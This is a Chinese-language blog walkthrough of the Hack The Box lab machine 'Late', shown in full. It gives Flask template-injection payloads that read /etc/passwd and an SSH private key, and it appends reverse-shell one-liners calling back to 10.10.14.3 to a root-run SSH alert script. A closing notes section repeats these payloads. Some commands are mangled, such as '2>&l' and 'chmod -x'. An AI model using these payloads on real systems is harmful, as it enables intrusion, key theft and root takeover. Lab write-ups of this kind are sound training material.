532 字
2 分钟
记模拟渗透-HTB-Late

nmap -v -sV 10.10.11.156

发现两个端口

22/tcp ssh

80/tcp http

打开网页

发现个地址,打不开,

images.late.htb

在hosts加上地址

10.10.11.156 images.late.htb

打开后,一个文件上传地址

上传文件发现只能上传PNG格式文件,其他文件在browse会不显示

上传后,发现了他的上传文件路径

Error occured while processing the image: cannot identify image file ‘/home/svc_acc/app/uploads/test.png1500’

发现这是Flask框架

利用图片转text的功能,试一下能否执行

{{3+3}}

{{3*3}}

上传后,下来看到text内容

把语句转换成图片,成功

{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}

svc_acc:x:1000:1000 Account:/home/svc_acc:/bin/bash

发现有个 svc_acc 用户可用,看一下目录下 .ssh 中是否有密钥:

{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}

新建文件id_rsa,复制进去,删掉后缀名

就用这个密钥进行ssh连接

chmod 600 id_rsa

svc_acc

得到shell#

ssh svc_acc@10.10.11.156 -i id_rsa

进来就看到了user.txt

svc_acc@late:~$ cat user.txt

ab33ccd06cbd67114d219eceae59f08c

find / -perm -u=s -type f 2>/dev/null

查看权限和SUID文件:

使用linpeas.sh 枚举一下

chmod -x linpeas.sh

./linpeas.sh > out.txt

使用LinPEAS,注意到一个有趣的文件名为由root用户运行,每次有人连接到SSH时都会运行。/usr/local/sbin

根据提示,找到这里这个脚本

可以尝试在里面加上一个反弹shell,然后再次连接,可以获得root

先创建一个文件

<font style="color:rgb(41, 41, 41);">svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la </font><font style="color:rgb(41, 41, 41);">-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt</font>

编辑文件并向其中添加反向 shell 有效负载

<font style="color:rgb(41, 41, 41);">svc_acc@late:~$ vim file.txt# here we addbash -i >& /dev/tcp/$ip/端口 0>&1</font>

将您创建的文件附加到ssh警报文件并检查是否已完成此操作

<font style="color:rgb(41, 41, 41);">svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh </font><font style="color:rgb(41, 41, 41);">#!/bin/bashRECIPIENT=”root@late.htb” </font><font style="color:rgb(41, 41, 41);">SUBJECT=”Email from Server Login: SSH Alert”BODY=” </font><font style="color:rgb(41, 41, 41);">A SSH login was detected.User: $PAM_USER </font><font style="color:rgb(41, 41, 41);"> User IP Host: $PAM_RHOST </font><font style="color:rgb(41, 41, 41);"> Service: $PAM_SERVICE </font><font style="color:rgb(41, 41, 41);"> TTY: $PAM_TTY </font><font style="color:rgb(41, 41, 41);"> Date: date </font><font style="color:rgb(41, 41, 41);"> Server:uname -a </font><font style="color:rgb(41, 41, 41);">“if [ ${PAM_TYPE} = “open_session” ]; then </font><font style="color:rgb(41, 41, 41);"> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT} </font><font style="color:rgb(41, 41, 41);">fi</font>**<font style="color:rgb(41, 41, 41);">bash -i >& /dev/tcp/$ip/端口 0>&1</font>**

附加到文件中。在本地机器上设置一个netcat监听,然后再次通过SSH再次连接,以触发root执行ssh文件。

┌──(kali㉿kali)-[~]

└─$ nc -lvnp 4444

listening on [any] 4444 …

connect to [10.10.14.3] from (UNKNOWN) [10.10.11.156] 59010

bash: cannot set terminal process group (29224): Inappropriate ioctl for device

bash: no job control in this shell

拿到root#

root@late:/# whoami
whoami
root

root@late:/root# cat root.txt

cat root.txt

参考文章

https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e

笔记:#

{{3+3}}

{{3*3}}

{{url_for.globals.builtins.open(“/etc/passwd”).read()}}

{{url_for.globals.builtins.open(“/home/svc_acc/.ssh/id_rsa”).read()}}

find / -perm -u=s -type f 2>/dev/null

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc

echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f” >> /usr/local/sbin/ssh-alert.sh

echo “sh -i >& /dev/tcp/10.10.14.3/4444 0>&1” >> /usr/local/sbin/ssh-alert.sh

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

记模拟渗透-HTB-Late
https://mizuki.mysqil.com/posts/网安/htb-late/
作者
Twoc-Prime
发布于
2022-06-20
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时